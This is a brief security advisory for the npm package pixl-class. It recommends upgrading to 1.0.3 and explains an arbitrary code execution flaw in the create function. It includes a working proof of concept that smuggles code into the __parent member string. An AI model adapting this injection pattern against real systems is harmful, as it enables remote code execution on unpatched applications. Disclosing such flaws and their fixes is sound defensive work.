How to fix?

Upgrade pixl-class to version 1.0.3 or higher.

Overview

pixl-class is a library that allows you to create classes in a more classical sort of way, including support for static class members, proper constructors, inheritance, and mixins.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The injection point is located in line 26 in the index file class.js; the members argument of the create function can be controlled by users without any sanitization.

POC

var a = require("pixl-class");
var members = {
  __parent:'function(){}; console.log(123)//}'
}

a.create(members);
